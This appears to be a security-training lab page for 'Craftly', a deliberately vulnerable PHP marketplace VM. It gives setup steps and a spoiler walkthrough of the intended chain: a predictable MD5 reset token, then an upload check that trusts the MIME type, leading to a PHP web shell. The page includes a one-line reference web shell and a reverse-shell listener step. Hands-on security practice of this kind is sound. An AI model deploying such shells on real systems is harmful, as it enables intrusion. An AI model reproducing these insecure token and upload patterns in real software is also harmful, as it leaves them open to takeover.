Skip to content
TheoSecLABS
All labs
EasyWeb Exploitation (OSWE)

Craftly

Craftly is a boutique online marketplace for handmade goods — ceramics, textiles and woodwork sold by independent makers. It has customer accounts, product listings, reviews and an admin catalogue, and at a glance it all looks perfectly ordinary. The security is not as tidy as the storefront. Get in

Description

Craftly is a boutique online marketplace for handmade goods — ceramics, textiles and woodwork sold by independent makers. It has customer accounts, product listings, reviews and an admin catalogue, and at a glance it all looks perfectly ordinary. The security is not as tidy as the storefront. Get in, work your way up, and take control of the box.

Difficulty vs OSWE: Below the OSWE exam. A foundational box, a notch above a pure warm-up: you’ll chain a couple of small mistakes rather than pop a single obvious bug, which is the habit OSWE rewards.

Setup

  1. Download the Craftly OVA from Theosec Labs.
  2. Import into VirtualBox — File → Import Appliance, select the .ova, and import.
  3. Start the VM. At the console login, sign in and find its IP:
    • Username: student · Password: craftly
    • Run ifconfig (or ip a) and note the address (e.g. 192.168.x.x).
  4. Open the in-browser debugger. Browse to http://<vm-ip>:8080 (code-server). Password: craftly — there is no username.
    • Open Folder → choose the folder named craftly.
    • Click the Run and Debug icon in the left sidebar.
    • Click the green ▶ Start Debugging button to launch a debug instance of the app.
    • Set breakpoints and step through the code as you investigate.
  5. Read the source to find the vulnerabilities.
  6. Write your exploit. The target app is at http://<vm-ip>/ (port 80). Write a script (Python recommended) that automates the whole chain — unauthenticated → admin → remote code execution — and, at the RCE step, fires a reverse shell back to a nc -lvnp <port> listener on your machine. Running the script should catch you a shell as the web server user.
  7. Capture local.txt and proof.txt.

Solution

Finished the box?

Check your exploit against the reference solution, or read how the box is found and exploited end to end. Both contain full spoilers — they stay hidden until you open them.

Download solution
Reveal walkthroughSpoilers — how the box is found and exploited

Intended chain

Phase From → To Class Location
1 unauth → admin Predictable password-reset token (account takeover) public/forgot.php, public/reset.php, src/auth.php
2 admin → RCE Arbitrary file upload (Content-Type trust) → PHP web shell public/admin/product_edit.php

Phase 1 — predictable reset token

reset_token_for() in src/auth.php builds the token deterministically:

return md5($username . RESET_SECRET);

RESET_SECRET is a constant in src/config.php, which students can read. The flow is stateful, so the attack is two steps:

  1. POST /forgot.php with username=admin — this stores reset_token = md5("admin" . RESET_SECRET) on the admin row.
  2. Reconstruct that same token from the source, then POST /reset.php with username=admin, the token, and a new password.

reset.php only compares the submitted token to the stored one and checks the 1-hour TTL — no per-request randomness — so the reconstructed token is accepted. Log in as admin with the new password. No email delivery is needed; the token is computable entirely from readable inputs.

Phase 2 — arbitrary upload to web shell

admin/product_edit.php validates the product image using the client-supplied MIME type only, and saves it under basename($_FILES['image']['name']) in the web-served public/uploads/ directory:

$allowed = ['image/png', 'image/jpeg', 'image/gif', 'image/webp'];
if ($f['error'] === UPLOAD_ERR_OK && in_array($f['type'], $allowed, true)) {
    $image = basename($f['name']);
    move_uploaded_file($f['tmp_name'], UPLOAD_DIR . '/' . $image);
}

$f['type'] is attacker-controlled (the multipart Content-Type), and the filename is attacker-controlled, so upload shell.php with Content-Type: image/png. Apache runs mod_php, so GET /uploads/shell.php?c=id executes. Reference shell: <?php system($_GET['c']); ?>.

More labs

Super easyLinux · Python

Simmer

Simmer is a small community recipe box where home cooks publish recipes, leave comments, and keep a profile. It looks friendly and unremarkable — which is exactly the point.

Web Exploitation (OSWE)Open lab
MediumLinux · NodeJS

Currents

Currents is a self-hosted feed reader: add your blogs and news feeds and it pulls the articles into one clean stream. It has a personal dashboard, an admin area, and a small internal service it talks to behind the scenes. Neither getting in nor getting code execution is a one-shot affair here — each

Web Exploitation (OSWE)Open lab
HardLinux · Java

Vaultline

Vaultline is a small-team password manager — a legacy Java service that has been running, and being patched, for years. Members store logins and secrets; an admin manages users and can back up and restore the workspace. It's solid-looking enterprise software, and reaching code execution demands genu

Web Exploitation (OSWE)Open lab

→Next step

Break something on purpose.

Every lab ships as a VM you run on your own hardware — download it, read the source, and work the chain end to end. No account, no scoreboard, no catch.